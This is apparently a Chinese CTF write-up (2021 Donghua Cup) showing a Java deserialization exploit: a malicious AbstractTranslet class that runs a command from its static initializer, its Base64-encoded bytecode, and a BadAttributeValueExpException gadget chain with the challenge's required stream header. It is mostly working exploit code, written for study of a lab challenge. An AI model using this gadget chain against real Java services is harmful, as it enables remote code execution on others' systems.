2021东华杯

反编译后,找一下核心的地方

image-20241106163258746

很明显,这里是有一个加载恶意类的洞

那么提前写好恶意类,编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package Seri;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;

/**
* 为什么一定要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
* TemplatesImpl#defineTransletClasses()方法中存在代码
* ```
* final Class superClass = _class[i].getSuperclass();
*
* // Check if this is the main class
* if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
* _transletIndex = i;
* }
* ```
* 会判断读取的类的父类是否为 AbstractTranslet
*/
public class ShellClass extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("cat /flag");
} catch (Exception e){
e.printStackTrace();
}
}

public static void main(String[] args) throws IOException {
InputStream inputStream = java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream();
ByteArrayOutputStream result = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
result.write(buffer, 0, length);
}
System.out.println(result);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

编译一下

那么现在的问题就是,如何触发ToStringBean#toString

有很多种方法,这里就用最常用的 BadAttributeValueExpException

然后再看

image-20241106164344453

也就是说,需要在payload里面writeUTF("gadgets")writeInt(2021)

那么最后组成的payload就为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringDemo;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Exp {
public static void main(String[] args) throws Exception {
ToStringDemo toStringDemo = new ToStringDemo();

String shellClass = "yv66vgAAADMAZgoAEAA8CgA9AD4IAD8KAD0AQAoAQQBCBwBDCgAGADwKAEQARQoABgBGCQBHAEgKAEkASggASwcATAoADQBNBwBOBwBPAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMU2VyaS9TaGVsbENsYXNzOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABnJlc3VsdAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAZidWZmZXIBAAJbQgEABmxlbmd0aAEAAUkBAA1TdGFja01hcFRhYmxlBwBQBwBDBwAhAQAKRXhjZXB0aW9ucwcAUQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAFIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwcATAEAClNvdXJjZUZpbGUBAA9TaGVsbENsYXNzLmphdmEMABEAEgcAUwwAVABVAQAJY2F0IC9mbGFnDABWAFcHAFgMAFkAWgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwBQDABbAFwMAF0AXgcAXwwAYABhBwBiDABjAGQBAARjYWxjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAZQASAQAPU2VyaS9TaGVsbENsYXNzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABHJlYWQBAAUoW0IpSQEABXdyaXRlAQAHKFtCSUkpVgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEAD3ByaW50U3RhY2tUcmFjZQAhAA8AEAAAAAAABQABABEAEgABABMAAAAvAAEAAQAAAAUqtwABsQAAAAIAFAAAAAYAAQAAABgAFQAAAAwAAQAAAAUAFgAXAAAACQAYABkAAgATAAAAuwAEAAUAAAA5uAACEgO2AAS2AAVMuwAGWbcAB00RBAC8CE4rLbYACFk2BAKfAA4sLQMVBLYACaf/7LIACiy2AAuxAAAAAwAUAAAAHgAHAAAAIgAMACMAFAAkABoAJgAmACcAMQApADgAKgAVAAAANAAFAAAAOQAaABsAAAAMAC0AHAAdAAEAFAAlAB4AHwACABoAHwAgACEAAwAiABcAIgAjAAQAJAAAABIAAv4AGgcAJQcAJgcAJ/wAFgEAKAAAAAQAAQApAAEAKgArAAIAEwAAAD8AAAADAAAAAbEAAAACABQAAAAGAAEAAAAvABUAAAAgAAMAAAABABYAFwAAAAAAAQAsAC0AAQAAAAEALgAvAAIAKAAAAAQAAQAwAAEAKgAxAAIAEwAAAEkAAAAEAAAAAbEAAAACABQAAAAGAAEAAAA0ABUAAAAqAAQAAAABABYAFwAAAAAAAQAsAC0AAQAAAAEAMgAzAAIAAAABADQANQADACgAAAAEAAEAMAAIADYAEgABABMAAABhAAIAAQAAABK4AAISDLYABFenAAhLKrYADrEAAQAAAAkADAANAAMAFAAAABYABQAAABsACQAeAAwAHAANAB0AEQAfABUAAAAMAAEADQAEADcAOAAAACQAAAAHAAJMBwA5BAABADoAAAACADs=";
System.out.println(shellClass);
Field field = toStringDemo.getClass().getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringDemo, Base64.getDecoder().decode(shellClass));

BadAttributeValueExpException b = new BadAttributeValueExpException(null);
Field field1 = b.getClass().getDeclaredField("val");
field1.setAccessible(true);
field1.set(b , toStringDemo);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("gadgets");
oos.writeInt(2021);
oos.writeObject(b);

String payload = Tools.base64Encode(baos.toByteArray());
read(payload);

}

public static void read(String payload) throws IOException, ClassNotFoundException {
byte[] b = Tools.base64Decode(payload);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
}
}

成功弹出计算器